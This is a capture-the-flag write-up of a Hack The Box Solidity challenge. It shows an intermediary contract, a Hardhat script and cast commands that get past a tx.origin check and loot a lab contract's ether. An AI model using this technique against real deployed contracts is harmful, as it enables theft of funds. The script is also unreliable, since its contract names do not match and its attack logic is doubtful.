HTB: Distract and Destroy

Table of Contents

The Contracts:

Setup.sol:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Creature} from "./Creature.sol";

contract Setup {
    Creature public immutable TARGET;

    constructor() payable {
        require(msg.value == 1 ether);
        TARGET = new Creature{value: 10}();
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

Creature.sol:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Creature {
    uint256 public lifePoints;
    address public aggro;

    constructor() payable {
        lifePoints = 1000;
    }

    function attack(uint256 _damage) external {
        if (aggro == address(0)) {
            aggro = msg.sender;
        }

        if (_isOffBalance() && aggro != msg.sender) {
            lifePoints -= _damage;
        } else {
            lifePoints -= 0;
        }
    }

    function loot() external {
        require(lifePoints == 0, "Creature is still alive!");
        payable(msg.sender).transfer(address(this).balance);
    }

    function _isOffBalance() private view returns (bool) {
        return tx.origin != msg.sender;
    }
}

Solving:

The contracts look a lot like the ones in Survival Of The Fittest, but with the major difference of _isOffBalance()

_isOffBalance():

This is what we need to overcome, as far as I understand (I have an extremely limited knowledge of Solidity), it basically checks if the caller (msg.sender) is the same as the initiator (tx.origin).

Understanding the check tx.origin != msg.sender

Suppose we have 3 contracts, and an external user calling Contract A, which calls contract B, which calls contract C:

External User -> Contract A -> Contract B -> Contract C
  • If Contract C checks msg.sender, it will see the address of Contract B.
  • If Contract C checks tx.origin, it will see the address of the external user who initiated the transaction.

The check: tx.origin != msg.sender is basically checking if the caller is the same as the initiator, if it is, then the caller is an external user, if it isn’t, then the caller is a contract. For this to return true (Which it needs to do, before damage is calculated), we will create our own contract and deploy it.

Our Contract:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface ICreature {
    function attack(uint256 _damage) external;
}

contract Attacker {
    ICreature target;

    constructor(address _target) {
        target = ICreature(_target);
    }

    function attack(uint256 _damage) external {
        target.attack(_damage);
    }
}

Basically the same as the original Creature contract. The ICreature interface is just so we can call the attack() function on the target contract, as it’s a public external. For interactions with it we will use Hardhat, our script looks like the following:

const hre = require("hardhat");

async function main() {
    const CREATURE_ADDRESS = "0xEE9556661fF2ed03b694ddAEe3426Cce2480e06E";  // Replace with the actual address

    // Step 1: Deploy the intermediary Attacker contract
    console.log("Deploying Attacker contract...");
    const Attacker = await hre.ethers.getContractFactory("Exploiter");
    const attackerInstance = await Attacker.deploy(CREATURE_ADDRESS);
    await attackerInstance.waitForDeployment();  // This waits for the contract deployment transaction to be confirmed.
    const creatureInstance = await hre.ethers.getContractAt("ICreature", CREATURE_ADDRESS);

    console.log("Attacker contract deployed at:", attackerInstance);

    // Step 2: Attack using the intermediary contract
    const damage = 1000;
    console.log("Attacking using the intermediary contract...");
    await attackerInstance.attack(damage);
    await attackerInstance.attack(damage);

    // Check lifePoints after attacks
    const remainingLifePoints = await creatureInstance.lifePoints();
    console.log(`Remaining life points: ${remainingLifePoints.toString()}`);

    // Step 3: Loot
    if (remainingLifePoints.toString() === "0") {
        console.log("Looting the Creature contract...");
        await creatureInstance.loot();
        console.log("Funds looted!");
    } else {
        console.log("Creature is still alive. Adjust the damage and try again.");
    }
}

This script did cause me some problems and didn’t seem to execute fully, however running:

cast call --rpc-url http://206.189.28.151:30717/rpc 0xEE9556661fF2ed03b694ddAEe3426Cce2480e06E "lifePoints()"

Gave us back a lifepoint value of 0, indicating it was successful. Thus we could then run:

cast send 0xEE9556661fF2ed03b694ddAEe3426Cce2480e06E "loot()" --rpc-url http://206.189.28.151:30717/rpc --private-key $PK

And then we got the flag :)